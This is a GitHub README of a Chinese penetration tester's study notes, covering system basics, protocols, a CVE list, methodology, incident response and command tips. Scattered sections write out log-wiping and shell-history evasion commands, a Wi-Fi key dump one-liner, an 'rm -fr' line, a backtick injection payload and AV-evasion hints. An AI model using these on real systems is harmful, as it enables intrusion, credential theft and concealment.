Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

194 Commits
 
 
 
 
 
 

Repository files navigation

PenTestNote

一些渗透测试技巧的个人(Enomothem or 伊诺)记录笔记

简洁是智慧的灵魂,冗长是肤浅的藻饰 ——莎士比亚

谨记《中华人民共和国网络安全法》至上!

致敬为国内安全事业贡献的人!致敬开源社区的贡献者!致敬每一个为生活而努力的人!

学而不思则罔,思而不学则殆。 ——孔子

遵循规则:

  • 格式规范,先框架再细节,思路为主
  • 不提倡没用过时的技术或工具
  • 简洁、舒服、易读、合理、无误
  • 基础的东西只写思路,避免臃肿
  • 技术细节或不必要阅读内容放附页
  • 附页的格式规范整洁同主格式保持一致

备忘录:

速查:

ASCII | 端口号 | HTTP状态码 | FTP状态码 | Windows命令 | Linux命令 | msf命令 | volatility2

在线工具:

时间戳 | MAC厂商 |

安全工具:

CMS | Subdomian | bypassCDN | GoogleHacking | CTFTOOLS

致谢:

IT-Tangsan | Gu0st | SD007 | -

目录

系统层面

基础

  • Photoshop能力
  • Office(Word、Excel、PPT)能力
  • 文件管理能力
  • 效率优化能力

工具

  • 浏览器
    • Google Chrome
    • Mozilla Firefox
    • Microsoft Internet Explorer
  • CPU/内存/磁盘工具
  • 工具
  • 环境
    • python3
    • python2
    • java(JRE/Tomcat server)
    • vmware
    • ensp(depend:Wireshark、wincap4.1.3、VirtualBox-5.0-5.2)
    • phpstudy

记录

Windows机制

这里是为了一些内网渗透或绕过做一个基础的补充,很重要。当然在平时的工作中,也常常遇到一些问题与此有关,如编译不了,工具打开不了,报错文件找不到的大概率就是因为环境变量的原因。

环境变量的优先级

  • 当前目录(局部)
  • 系统 PATH
  • 用户 PATH

Tip

如果环境变量PATH下找到多个路径,则判断优先级高的执行。

DLL动态链接库优先级

  • 应用程序自身目录
  • C:\Windows\System32
  • C:\Windows\System
  • C:\Windows
  • 当前工作目录
  • 系统 PATH 环境变量中的目录
  • 用户 PATH 环境变量中的目录

Linux机制

Linux的机制非常简单,你只需要记住一切皆文件就行了,所以在Linux中,你可以找到并可以看见你想知道如何东西,包括进程,设备都是文件。

第一位表示文件类型

d代表的是目录(directroy)
-代表的是文件(regular file)
s代表的是套字文件(socket)
p代表的管道文件(pipe)或命名管道文件(named pipe)
l代表的是符号链接文件(symbolic link)
b代表的是该文件是面向块的设备文件(block-oriented device file)
c代表的是该文件是面向字符的设备文件(charcter-oriented device file)

权限

  • x executable 执行权限 1
  • w writeable 可写权限 2
  • r readable 可读权限 4

表示方法:八进制

  • rwx (可读写运行) 权限则将该权限位 设置 为 4 + 2 + 1 = 7
  • rw- (可读写不可运行)权限则将该权限位 设置 为 4 + 2 = 6
  • r-x (可读可运行不可写)权限则将该权限位 设置 为 4 +1 = 5

八进制权限的属组

三个8进制数字分别表示 拥有者 、群组 、其它组( u、 g 、o)的权限详情

-rw------- (600)    只有拥有者有读写权限。
-rw-r--r-- (644)    只有拥有者有读写权限;而属组用户和其他用户只有读权限。
-rwx------ (700)    只有拥有者有读、写、执行权限。
-rwxr-xr-x (755)    拥有者有读、写、执行权限;而属组用户和其他用户只有读、执行权限。
-rwx--x--x (711)    拥有者有读、写、执行权限;而属组用户和其他用户只有执行权限。
-rw-rw-rw- (666)    所有用户都有文件读、写权限。
-rwxrwxrwx (777)    所有用户都有读、写、执行权限。

表示方法:二进制

只读、只写、只执行权限,可以用三位二进制数表示

# 位置存在权限则为1,否则为0
r-- = 100
-w- = 010
--x = 001
--- = 000
# 二转八
权限 - 二 - 八
rwx = 111 = 7
rw- = 110 = 6
r-x = 101 = 5
r-- = 100 = 4
-wx = 011 = 3
-w- = 010 = 2
--x = 001 = 1
--- = 000 = 0

二进制权限的属组

-rw------- =  110000000 = 600
-rw-rw-rw- =  110110110 = 666
-rwxrwxrwx =  111111111 = 777(最高权限)

表示方法:Linxu十二位附加权限

附加权限包括SET位权限(suid,sgid)和粘滞位权限(sticky)。

11 10 9 8 7 6 5 4 3 2 1 0
S  G  T r w x r w x r w x

-rw-r-Sr-- 的值为: 0 1 0  1 1 0  1 0 0  1 0 0
-rwsr-xr-x 的值为: 1 0 0  1 1 1  1 0 1  1 0 1
-rwsr-sr-x 的值为: 1 1 0  1 1 1  1 0 1  1 0 1 
-rwsr-sr-t 的值为: 1 1 1  1 1 1  1 0 1  1 0 1

附加权限:八进制表示

  • 最高的一位八进制数就是suid,sgid,sticky的权值。
  • 第二位为 拥有者的权值
  • 第三位为 所属组的权值
  • 最后一位为 其他组的权值
-rw-r-Sr-- = 0 1 0 1 1 0 1 0 0 1 0 0 = 2644 
-rwsr-xr-x = 1 0 0 1 1 1 1 0 1 1 0 1 = 4755
-rwsr-sr-x = 1 1 0 1 1 1 1 0 1 1 0 1 = 6755
-rwsr-sr-t = 1 1 1 1 1 1 1 0 1 1 0 1 = 7755

代码层面

代码是非常重要也是非常基础的能力,虽然OpenAI时代的到来,极大的简化了程序的复杂工作,但人类的创新能力远远比AI强,也许AI会越来越强,我们仍然可以借助AI更好的学习编程能力,当然,也不是说依赖AI,而是启发式的学习。

编程可以做的事情很多。开发一个程序,写个脚本,工具,写一个web程序,都是可以的。当然,也可以审计别人的代码,发现漏洞。

Web基础

  • 前端:Html(光着身子)+css(衣服)+js(运动) 三件套
  • 后端:php、java、python2&3、js(js也可作为后端语言)、Ruby、go、rust
  • 数据库: mssql, mysql, mysql4, mysql5, oracle, pgsql, sqlite, sqlite3, access, firebird, maxdb, sybase

编程基础

  • c:大学的计科类基础,入门计算机的基石。
  • assembly:汇编语言,信息安全的基础。当然,没几个人学过,也没几个人感兴趣。是出大佬的方向。
  • python:一周入门,两周写脚本工具,三周成为脚本小子。
  • java:热门,应用广
  • C++:难
  • Rust:更难,以安全、高性能、内存小的特性优于其他语言。
  • go: 目前安全工具大多都用go实现了,比python的快一些,便捷易用。学起来也快,推荐。

Web并发编程的演进

进程(Process):进程是系统进行资源分配和调度的基本单位,是操作系统结构的基础,也是程序的实体。每个进程都有它自己的地址空间,包括文本区域、数据区域和堆栈等。

进程一般由程序、数据集合和进程控制块(PCB)三部分组成。

进程具有的特征:

  • 动态性:进程是程序的一次执行过程,是临时的,有生命期的,是动态产生,动态消亡的;
  • 并发性:任何进程都可以同其他进程一起并发执行;
  • 独立性:进程是系统进行资源分配和调度的一个独立单位;
  • 结构性:进程由程序、数据和进程控制块三部分组成。

线程具有的特征:

  • 线程是程序执行的最小单位,而进程是操作系统分配资源的最小单位;
  • 一个进程由一个或多个线程组成,线程是一个进程中代码的不同执行路线;
  • 进程之间相互独立,但同一进程下的各个线程之间共享程序的内存空间(包括代码段、数据集、堆等)及一些进程级的资源(如打开文件和信号),某进程内的线程在其它进程不可见;
  • 调度和切换:线程上下文切换比进程上下文切换要快得多。

线程(Thread):线程是程序执行流的最小单元,是CPU调度和分派的基本单位。一个标准的线程由线程ID、当前指令指针、寄存器集合和堆栈组成。

线程的生命周期

  • 创建:一个新的线程被创建,等待该线程被调用执行;
  • 就绪:时间片已用完,此线程被强制暂停,等待下一个属于它的时间片到来;
  • 运行:此线程正在执行,正在占用时间片;
  • 阻塞:也叫等待状态,等待某一事件(如IO或另一个线程)执行完;
  • 退出:一个线程完成任务或者其他终止条件发生,该线程终止进入退出状态,退出状态释放该线程所分配的资源。

协程(Coroutine):协程是一种轻量级的线程,也被称为用户态线程。它不是由操作系统内核所管理,而是完全由程序(用户)所控制。

协程具有的特征:

  • 线程的切换由操作系统负责调度,协程由用户自己进行调度,因此减少了上下文切换,提高了效率。
  • 线程的默认Stack大小是1M,而协程更轻量,接近1K。因此可以在相同的内存中开启更多的协程。
  • 由于在同一个线程上,因此可以避免竞争关系而使用锁。
  • 适用于被阻塞的,且需要大量并发的场景。但不适用于大量计算的多线程,遇到此种情况,更好实用线程去解决。

并发的演变:

  • 早期:单线程,同步服务器。
  • 多线程:引入以并发处理多个请求。
  • 线程池:通过重用线程优化资源使用。
  • 事件驱动模型:通过非阻塞I/O减少开销。node.js
  • 异步编程:在不使用复杂线程的情况下改进并发。async/await

网络层面

基础

OSI参考模型及其相关协议RFC

应用层 | Application Layer

  • FTP - File Transfer Protocol 文本传输协议 RFC959
  • SMTP - Simple Mail Transfer Protocol 简单邮件传输协议 RFC821
  • HTTP1.0 - Hypertext Transfer Protocol version 1.0 超文本传输协议1.0 RFC1945
  • HTTP1.1 - Hypertext Transfer Protocol version 1.1 超文本传输协议1.1 RFC2616、2617
  • HTML - Hypertext Markup Language version 2.0 超文本标记语言2.0 RFC1866
  • RIP - Routing Information Protocol 路由信息协议 RFC1058、1923
  • RIP2.0 - Routing Information Protocol version 2.0 路由信息协议2.0 RFC1387 etc
  • DNS - Domain Name System 域名解析系统 RFC881 etc
  • SNMPv3 - Simple Network Management Protocol version 3.0 简单网络管理协议3.0 RFC 2271
  • BGP - BGP-Border Gateway Protocol 边界网关协议 RFC4271 TCP179

传输层 | Transport Layer

  • TCP - Transport Control Protocol 传输控制协议 RFC793
  • UDP - User Datagram Protocol 用户数据报协议 RFC768

网络层 | Netword Layer

  • Static Route and Default Route
  • OSPF - Open Shortest Path First 开放式最短路径优先 RFC1245、1246
  • IP - Internet Protocol 网际协议 RFC791
  • IPv6 - Internet Protocol Version 6 IPv6 RFC2460
  • ICMP - Internet Control Message Protocol Internet控制报文协议 RFC777、792
  • CIDR - Classless Inter-Domain Routing 无分类域间路由选择 RFC1519、1520

数链层 | Data Link Layer

  • Ethernet_II - EthernetII Xerox制定 RFC894
  • IEEE 802.3 - IEEE 802.3 IEEE 802委员会制定 RFC1042
  • IS-IS - Intermediate System to Intermediate System 中间系统到中间系统 RFC3358
  • ARP - Address Resolution Protocol 地址解析协议 RFC826
  • RARP - Reverse Address Resolution Protocol 反向地址转换协议 RFC903
  • CSMA/CD - EthernetII Xerox制定 RFC894

物理层 | Physical Layer

  • 传输媒介

    • 有线:同轴电缆、双绞线、光纤、跳线
    • 无线:卫星、无线、微波、激光、红外
  • 工具

    • 常用工具(剥线刀、网线钳、尼龙(标签)扎带、水晶头、网络测试仪\寻线仪、Console线)
    • 转接类(转接头、面板、各类转接器)
  • 双绞线

\ 1 2 3 4 5 6 7 8
T568A线序 绿白 绿 橙白 蓝白 棕白
T568B线序(常用) 橙白 绿白 蓝白 绿 棕白

注意:协议和应用是不同的,协议是由国际互联网工程任务组维护的,全世界根据协议的标准制定不同的设备以及软件达到互通的目的,就如Xshell只是应用,ssh是协议;Chrome、Firefox是应用,HTTP是协议,注意区分。 值得注意的是:RIP是在应用层的,因为它依赖UDP协议;BGP使用的TCP协议,所以也在应用层;OSPF依赖IP协议,在网络层之上,所以暂且归纳到网络层。很多协议都是跨层协议,具体不属于某一层,所以更需要理解为主,归纳主用于框架学习目的,并不代表实际归属。

协议缺陷及反向利用

  • ICMP:DDos攻击,主机探测
  • ARP:ARP欺骗
  • DHCP:DHCP欺骗、CVE-2019-0726

网络设备

网络设备及部件是连接到网络中的物理实体。

  • 分线器
  • 轻量化智能设备
  • Hub
  • 网桥
  • 交换机
  • 路由器
  • PC/服务器
  • WAP
  • 打印机
  • 调制解调器

网络安全设备

NGAF/NGFW:下一代 Web 应用防火墙(Next Generation Application Firewall,通防火墙和下一代防火墙的区别),聚合了以下功能

  • IDS
    • HIDS:基于主机的入侵检测系统
    • NIDS:基于网络的入侵检测系统
    • HIDS+NIDS:基于混合数据源的入侵检测系统
    • IPS:入侵防御系统
    • AV:反病毒系统
  • EDR:主机安全管理\终端检测和响应

EDR 实时监测终端上发生的各类行为,采集终端运行状态,在后端通过大数据安全分析、机器学习、沙箱分析、行为分析、机器学习等技术,提供深度持续监控、威胁检测、高级威胁分析、调查取证、事件响应处置、追踪溯源等功能,可第一时间检测并发现恶意活动,包括已知和未知威胁,并快速智能地做出响应,全面赋予终端主动、积极的安全防御能力

简单来说就是给内网环境中所有主机安装管理软件终端,可以在管理平台集中管理和数据分析过滤,基本所有安全厂商都有自己的 EDR 产品

  • 运维审计和管理平台(堡垒机)
  • DAS:数据库安全审计平台
  • LAS:日志审计安全平台
  • AC:上网行为管理系统
  • Honeypot:伪装欺骗系统(蜜罐、蜜网)
  • SIP:安全态势感知平台
  • GAP:网闸

这个算是让整套系统性能得到提升的灵魂了,定位为客户的安全大脑,是一个集检测、可视、响应处置于一体的大数据安全分析平台。产品以大数据分析为核心,支持主流的安全设备、网络设备、操作系统等多源数据接入,利用大数据、关联分析、告警降噪等技术,实现海量数据的统一挖掘分析

云网络

云网络包括私有云和公有云以及混合云

  • 云主机安全
  • 云防火墙
  • 云堡垒机
  • 云蜜罐
  • 云 DDOS 防护

IP协议号

内容过于冗长,附:IP协议号

Decimalism Keywords Protocol
0 HOPOPT IPv6 逐跳选项
1 ICMP Internet 控制消息
2 IGMP Internet 组管理
3 GGP 网关对网关
4 IP IP 中的 IP(封装)
5 ST
6 TCP 传输控制
- -
134-254 未分配
255 保留

端口号

内容过于臃肿,列举常见端口,并附端口列表 附:端口号列表

Decimalism Protocol Vulnerability
21 FTP 弱口令
22 SSH 弱口令
23 Telnet 弱口令
25 SMTP 邮件伪造
53 DNS RCE、劫持、投毒
80/443 HTTP/HTTPS RCE
139 SMB 嗅探
445 Windows shares ms17-010、ms08-067
3306 Mysql 弱口令

工具

  • Wireshark - 免费开源的流量包分析工具
  • NetworkMiner - 网络取证分析工具
  • tcpdump - 功能强大的命令行流量包分析工具,自带的libpcap用于网络流量捕获的便携式C/C++库
  • Paros - 基于Java的HTTP/HTTPS代理用于评估Web应用程序漏洞工具
  • pig - Linux下伪造流量包工具
  • ZAP - ZAP是用于发现Web应用程序中漏洞易于使用的集成式渗透测试工具
  • mitmproxy - 基于HTTP具有交互式控制界面并支持SSL中间代理的工具
  • mitmsocks4j - 基于Java支持中间SOCKS代理工具
  • nmap - Nmap安全扫描工具
  • Aircrack-ng - 用于破解802.11 WEP和WPA-PSK密钥工具
  • Charles Proxy - 用于查看截获的HTTP和HTTPS/SSL实时流量的跨平台图形化用户界面Web调试代理工具
  • Nipe - 使Tor网络成为默认网关的脚本

渗透测试

这里只提供思路,具体的学习还需深入,扎根最基础的学习中去,才能明白千篇一律的工具是怎么实现的。

信息收集

  • 真实IP地址、域名、子域名、端口、目录、后台、泄露信息、CMS、WAF
  • Google、Baidu、Yandex、社交平台
  • 钓鱼、社工、客服、蜜罐

漏洞挖掘

  • 浏览网站,看看网站规模,功能,特点等
  • 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
  • XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解。
  • 任意文件上传/下载,越权访问,未授权访问,目录遍历,文件 包含,服务器漏洞检测,最后使用漏扫工具等。
  • 逻辑漏洞类。支付,登入,越权,验证,重放攻击(短信轰炸)等

中间件组件相关漏洞

  • ActiveMQ:未授权、ActiveMQ Jolokia REST API 未授权访问漏洞(CVE-2024-32114)
  • Apache:Apache HTTPD 换行解析漏洞(CVE-2017-15715)、Apache多后缀解析漏洞(apache_parsing_vulnerability)、Apache HTTP 路径穿越漏洞(CVE-2021-41773)、Apache HTTP 路径穿越漏洞(CVE-2021-42013)、Apache SSI 远程命令执行漏洞
  • Atlassian Confluence 路径遍历漏洞(CVE-2024-21677)
  • BIG-IP Next Central Manager SQL注入漏洞(CVE-2024-26026)
  • cas:cas-4.1.x-4.1.6 反序列化漏洞(利用默认密钥)、cas-4.1.7-4.2.x 反序列化漏洞(需要知道加密key和签名key)
  • CheckPoint Gateway 文件读取漏洞(CVE-2024-24919)
  • CrushFTP 认证绕过模板注入漏洞(CVE-2024-4040)
  • Confluence:登陆后代码执行漏洞(CVE-2024-21683)、CVE-2015-8399任意文件读取、CVE-2021-26084远程代码执行、CVE-2021-26085受限的文件读取、CVE-2022-26134 OGNL注入命令执行、 路径遍历漏洞(CVE-2024-21677)
  • Docker:未授权
  • Drupal:SQL注入漏洞(CVE-2014-3704)、远程代码执行漏洞(CVE-2018-7600)
  • dubbo:Apache dubbo反序列化漏洞分析(CVE-2023-29234)
  • Elasticsearch:未授权、命令执行漏洞(CVE-2014-3120)、代码执行漏洞(CVE-2015-1427)、目录穿越漏洞(CVE-2015-5531)、目录穿越漏洞(CVE-2015-3337)
  • fastjson:Fastjson 反序列化漏洞 <=1.2.24、fastjson<=1.2.47反序列化、fastjson<=1.2.62、fastjson<=1.2.66 基于黑名单绕过
  • Fckeditor:文件上传
  • HFS 2.x 远程代码执行漏洞(CVE-2024-23692)
  • IIS:短文件名泄漏
  • ImageMagick:任意文件读取漏洞(CVE-2022-44268)
  • log4j:CVE-2021-44228远程代码执行
  • Ivanti EPM EventHandler SQL注入致命令执行漏洞(CVE-2024-29824)
  • Jackson:RCE(CVE-2020-36180)
  • Jboss:后台文件上传漏洞CVE-2007-1036,CVE-2010-0738,CVE-2006-5750;反序列化命令执行CVE-2015-7501,CVE-2017-7504,CVE-2017-12149,CVE-2013-4810。
  • Jeecg-Boot:jmreport/queryFieldBySql接口RCE、/jmreport/testConnection接口RCE、jmreport/loadTableData接口RCE
  • JumpServer:RCE(CVE-2024-29201、CVE-2024-29202) V3.0.0<= Jumpserver <= V3.10.6、未授权访问漏洞(CVE-2023-42442) 3.0.0 <= JumpServer <= 3.5.4 3.6.0 <= JumpServer <= 3.6.3、密码重置漏洞(CVE-2023-42820) 受影响的版本:v2.24 - v3.6.4
  • Kindeditor:文件上传
  • Memcache:未授权
  • Nexus:Nexus Repository Manager 路径遍历漏洞(CVE-2024-4956)
  • OFBiz 目录遍历致代码执行漏洞(CVE-2024-36104,CVE-2024-32113)
  • Palo Alto Networks PAN-OS GlobalProtect 命令注入漏洞(CVE-2024-3400)
  • pgAdmin4 <= 8.4 后台远程命令执行漏洞 (CVE-2024-3116)
  • PHP:CGI Windows平台远程代码执行漏洞(CVE-2024-4577)
  • Progress Flowmon 命令注入漏洞(CVE-2024-2389)
  • Redis:未授权
  • Serv-U:Serv-U FTP 目录遍历文件读取漏洞(CVE-2024-28995)
  • shiro:bypass shiro <= 1.4.1、bypass shiro <= 1.5.2 (CVE-2020-1957)、bypass shiro <= 1.5.3 (CVE-2020-11989)、Shiro rememberMe反序列化漏洞(Shiro-550)、Shiro Padding Oracle Attack(Shiro-721)
  • struts2:s2-003、S2-005、S2-013、s2-016、S2-020、S2-045、S2-066
  • spring:spring-actuator(jolokia、snake-yaml、h2-hikariCP、eureka)、spring-cloud-config-server(CVE-2019-3799)、spring-cloud-config-server(CVE-2020-5405)、spring-cloud-config-server(CVE-2020-5410)、spring-session-data-redis RCE、Spring Cloud GateWay RCE(CVE-2022-22947)、spring-messaging(CVE-2018-1270)
  • SpringBlade:框架JWT认证缺陷漏洞CVE-2021-44910
  • Spring Security OAuth2:RCE(CVE-2018-1260)
  • Thinkphp:TP - 6.0.13-Pearcmd 、TP - 6.0.1 Session任意文件操作、TP - 5.0.23-RCE x Getshell、TP - 5.0.23-RCE、TP - 5.0.22/5.1.29-RCE x Getshell、TP - 5.0.22/5.1.29-RCE、TP - 5.0.9-SQLi、TP - 2.x-RCE x Getshell
  • Tomcat:弱口令、CVE_2017_12615 / CVE_2017_12617、样例Example目录、CNVD-C-2019-48814文件包含、com.threedr3am.bug.tomcat.ajp 任意文件读取和jsp渲染RCE CVE-2020-1938
  • Weblogic:CVE_2017_10271、弱口令、SSRF、CVE-2019-2725等反序列化命令执行居多
  • Wicket:XSLT 代码执行漏洞(CVE-2024-36522)
  • XZ-Utils 5.6.0/5.6.1版本后门风险(CVE-2024-3094)
  • Zabbix:SQL注入(CVE-2024-22120)
  • Zeppelin shell 代码注入漏洞(CVE-2024-31861)

CN

  • 大华DSS监控系统attachment_clearTempFile.action接口存在SQL注入漏洞
  • 魔方网表ERP存在文件上传漏洞

CMS

  • Mura CMS processAsyncObject SQL注入漏洞(CVE-2024-32640)

致命漏洞:

  • 永恒之蓝(CVE-2017-0146)
  • log4j漏洞远程代码执行(CVE-2021-44228)
  • Windows Wi-Fi驱动程序远程代码执行漏洞(CVE-2024-30078)
  • OpenSSH 远程代码执行漏洞(CVE-2024-6387)<--需稳定攻击两周左右

进阶

内网和域

  • 内网收集。用户、进程、端口、服务、补丁、共享、备忘录、密码、无线信息。
  • 横向渗透。注意开放端口。psexec,smbexec
  • 无文件攻击。内存马、恶意文档、恶意脚本、平地起飞。
  • 域渗透。收集域内信息,寻找域控,SPN扫描,Kerberos漏洞,抓取哈希,域账号破解,获取黄金票据,AD持久化,Exchange利用等
  • 权限维持及持久化。端口复用,进程注入,后门隐藏,Windows用户隐藏(影子用户),定时任务,注册表自启项,Office,文件关联等。

权限提升

  • Linux:内核漏洞(脏牛、下水管)、计划任务、SUID、错误配置、密码泄露等。
  • Windows:BypassUAC、令牌窃取、内核溢出漏洞等

提权漏洞集

权限维持

  • Linux:硬链接、Cron
  • Windows:后门
  • Web:Webshell

清理脚印

a 3389登陆记录清除

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

b Metasploit

# run clearlogs 
# clearev

c Windows日志的删除 获取日志分类功能

# wevtutil el >1.txt

获取单个日志类别的统计信息,例如:

# wevtutil gli "windows powershell"

查看指定日志的具体内容

# wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息

# wevtutil cl "windows powershell"
find $PWD -maxdepth 1 | xargs ls -ld

d 工具

  • Invoke-Phant0m
  • Windwos-EventLog-Bypass
  • MrKaplan
  • Forensia

撰写报告

  • 规范。目标、受众、时间、密级、分发。
  • 收集信息。自己渗透成功的利用证明、截图(帮助技术人员复现)、脚本(向技术人员提供细节,可以是自己编写的)、日志记录(最好是数字形式显示,方便展示)
  • 封面。正式一点、项目标题、客户名称、版本、作者信息、日期。
  • 属性。客户信息、测试的公司、测试的人员、有关人员和其他有关参与人员信息
  • 报告索引。列出主要标题的索引,下级标题也列出(下级可以不需要页码),图目录列出图像的页码索引。
  • 行动纲要。这是为高层书写的,简要说明渗透测试过程。包括项目目标、项目范围、授权信息、明确渗透测试者的假定(保护测试者)、时间表、渗透测试摘要。
  • 发现问题的清单。以表格的形式列举便于查询。
  • 发现问题的详细说明。包含修复建议(帮助IT、运维、信息安全人员阅读)、漏洞定义节、脆弱性节、概念验证(给出成功的截图就行了)、可能性(解释漏洞利用的条件)、风险评估、建议。
  • 支持文档。方法学、工具(渗透测试所用工具)、附录(非必须阅读的内容)、参考(无法描述细节或时间不够写)、术语表。
  • 质量保证。给客户保证渗透测试的质量有效,没有错误。值得信赖!

工具

只列举比较于同类产品中较为出色的工具。仅代表个人使用感觉!

资产发现

  • dismap
  • Goby

服务发现

  • Nmap
  • Rustscan

伊诺端口:80-89,443,8443,9443,389,873,2049,2181,5000-5010,5601,5900,5984,6379,7001,8161,9200,10051,11211,27017,28096,1000,2000,3000,4000,6000,9000,10000-10010,20000,30000,40000,50000,8000-8100,8200,9000-9009,9898,66,666,6666,8888,56666,58888,6888,6868,8686,6668,8886,8866,6688,65535,18080,18081,16001,17001,18001,19001

子域扫描

  • dnsub

目录扫描

  • dissearch
  • dirmap

漏洞扫描

  • AWVS、APPSCAN、Nessus 传统重型武器三大件
  • Vulmap
  • Xray:被动扫描较为出色
  • w13scan
  • fscan
  • EZ
  • afrog

抓包改包

  • Burp Suite

空间测绘

  • kunyu

漏洞利用

  • Metesploit

远控管理

  • 冰蝎
  • 哥斯拉
  • 中国菜刀
  • 蚁剑
  • 大灰狼

内网工具

  • mimikatz
  • metasploit
  • empire

数据库

  • navicat premium: 数据库连接管理工具
  • neo4j:neo4j数据库管理工具
  • sharp sql tools:mssql数据库利用工具
  • sqlite:sqlite数据库管理工具
  • sqlknife:mssql数据库利用工具
  • sqlmap: 注入工具
  • sylas:mssql & orcle & postgresql数据库利用工具
  • toad:oracle数据库管理工具

字典

更多工具

应用测试

包含安卓,客户端应用,移动端应用,APP,小程序等测试。

工具

应急响应

思路

你服务器被攻击啦,快去剪网线。

端口、进程、用户、历史、任务、日志、蜜罐、杀毒、分析、封禁、研判、溯源、反制。剩下的就看你的经验了。

  • 一些基础的应急命令
# 网络
netstat -ano | grep "ES"  # linux
netstat -ano | findstr ES # windows
# 进程
tasklist # windows
ps aux   # linux
# 端口
netstat -ano   # windows
netstat -tulnp # linux
# 用户
cat /etc/passwd  # linux
wmic useraccount get name,sid,SIDType,Disabled # windows 可查看影子用户
  • 不错的命令
lsof +L1   # 显示那些被打开但已经被删除的文件
lsof -i    # 命令用于显示与网络相关的所有打开的文件,包括网络连接和套接字
find . -regex ".*\.\(php\|jsp\|aspx\)$" | xargs grep "POST" # 找东西

应急

挖矿类

Tip

伊诺点评:一般而言,挖矿由残留的下载程序的计划任务、程序本体与矿池外联、被压榨的计算机资源等特征,需要进行物理隔离进行排查,定位矿机位置拓扑,摸清范围,对未感染的机器进行加固更改密码风险排查等措施。临时处置镜像备份,然后上传buzybox定位挖矿母体,并kill挖矿程序,然后找到对应的挖矿脚本和计划任务。

关键命令

ls -l /proc/[pid]/exe
crontab -l
cat /var/spool/cron
find / -name [挖矿程序]
rm -rf [挖矿相关文件]
kill -9 [挖矿进程]

原因分析

  • Top1:SSH弱口令
  • Top2:Redis未授权弱、弱口令
  • Top3:SMB爆破
  • Top4:Web漏洞
  • Top5:钓鱼邮件携带

挖矿病毒常见列表

  1. 病毒名称:qW3xT: 现象:占用超高CPU,进程查杀之后自启动。
  2. 病毒名称:Ddgs.3011 现象:占用超高CPU,进程查杀之后自启动。
  3. 病毒名称:S01wipefs 现象:占用超高CPU,无定时任务,但是病毒源文件存放在较多位置,比较难清除干净。
  4. 病毒名称:acpidtd 现象:占用超高CPU,无定时任务,但是病毒源文件存放在较多位置,比较难清除干净。
  5. 病毒名称:MSFC 现象:占用超高CPU及内存,病毒源文件单一,较容易查杀。
  6. 病毒名称:kswapd0 现象:占用超高CPU及内存,通过利用kswapd0伪装进程,可使用ls -l /proc/[PID]/exe排查可执行文件位置。
  7. 病毒名称:xmrig 现象:占用超高CPU、内存,存在定时任务,较容易查杀。

勒索类

Tip

伊诺点评: 一般而言,如果是市面上无解的,那基本上是没有救的,就算付出高额的成本去破解,还不如付钱来得实在,如果你的乙方,多帮助客户排查一下机器,因为客户把救命稻草压在你这个技术人员手上,多排查一下安慰客户,因为杀不干净的心理阴影,最后都会进行重装系统的,所以排查只是了解被勒索的事实,如果你幸运的话,日志没有删除或许能知道攻击的入口是什么,或许是因为一个弱口令,又或许是web日志中反映的一个nday漏洞,这个都是你技术成果的体现。和挖矿一样,需要定位勒索范围拓扑,避免进一步扩散,进行物理隔离,加固未感染区域的主机。

勒索病毒查询

web攻击

网络协议攻击

近源攻击

网页篡改

溯源

你需要强大的武器和冷静的头脑。

  • 溯源
    • 攻击画像:IP、ID、关键字、电话号码、身份证、QQ、微信号、头像、邮箱、跳板、目的、位置、手法、代理
    • 真实IP:一、NSLOOKUP查看NS记录。二、WHOIS。三、HTTP icon。四、子域名。五、国外ping。
    • ID或姓名:谷歌百度等搜索引擎、微博贴吧人人网、抖音脉脉。如果是ID可以去圈子里问。
    • 手机号邮箱:sgk、谷歌百度、QQ添加、微信添加、支付宝转账验证姓名、社交平台抖音等、reg007.com
    • 恶意文件:逆向工具分析Ida、JEB、winhex,网络进程分析wirehshark,固件分析binwalk、bin2bmp、pixd,在线沙箱
  • 反制
    • 钓鱼、C2反打、开放端口、取证

工具

伊诺之令

本人在渗透测试中收集的命令,以及经过改良的绝妙之令——伊诺之令。以极致的手法,击穿WAF之壁,来无影去无踪,渗而不透,此乃终端之令法。

Windows

解决Windows终端颜色问题

reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 0x00000001 /f

列出WIFI配置信息

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

内网存活地址检测

for /L %D in (1,1,255) do ping 10.168.1.%D

Linux

"渗不透"

在使用命令前加上反斜杠防止执行改名后的命令进入陷阱,可以忽略掉 alias 的指定选项
在输入命令时,全面加上空格将不记录命令历史,不过在此之前要看一下环境变量。

\export HISTCONTROL=ignorespace # 配置ignorespace环境变量使空格规避记录生效,记得将记录删除
[Space]\command         # 这就是“渗不透”,将两者结合,既不留下脚印,又不会踩雷
[Space]\set +o history  # 暂时关闭命令记录
\command
[Space]\set -o history  # 结束工作,关闭命令记录
[Space]\history
[Space]\history -d num  # 删除某行历史命令 

取证

wget -c -r -np -k -L http://ip/

毁灭吧

rm -fr ./*

显示全局路径

ls | sed "s:^:`pwd`/:"
find $PWD -maxdepth 1 | xargs ls -ld        # 列出文件的绝对路径且显示隐藏文件,并不对目录递归

排除多个字符串

echo -e "banner header body\nbanner\nbanner header\nbanner body" | grep -E -v "header|body" 
banner

去除重复项

sort ssh-pass.txt | uniq -c | sort -rn | cut -c 9-

ls用法

ls -lhS 按文件大小排序,加 -r 相反
ls -ltr 按时间顺序排序,加 -r 相反
ls -l | grep "^d"  # 只显示目录

公网IP信息

curl ipinfo.io/<ip address>

SSRF+命令执行

http://www.`id`.example.com
# 会先执行id命令,在linux中,id\whoami的命令执行优先级更高,如:
ls `whoami`
ls $(whoami)

工具

学习

逆向工程

免杀

免杀思路:使用偏僻的语言,比如Nim。使用Base64进行加密,避免特征码的检测。

学习

工具

  • AV_Evasion_Tool - 掩日 - 免杀执行器生成工具
  • nudge4j - 让浏览器与JVM交互的Java工具
  • IDA - IDA是可以工作在Windows,Linux或Mac OS X的多处理反汇编和调试工具
  • OllyDbg - Windows 32位汇编程序级别调试工具
  • x64dbg - Windows上开源x64/x32调试工具
  • dex2jar - 用于处理用于处理Android .dex和Java .class文件的工具
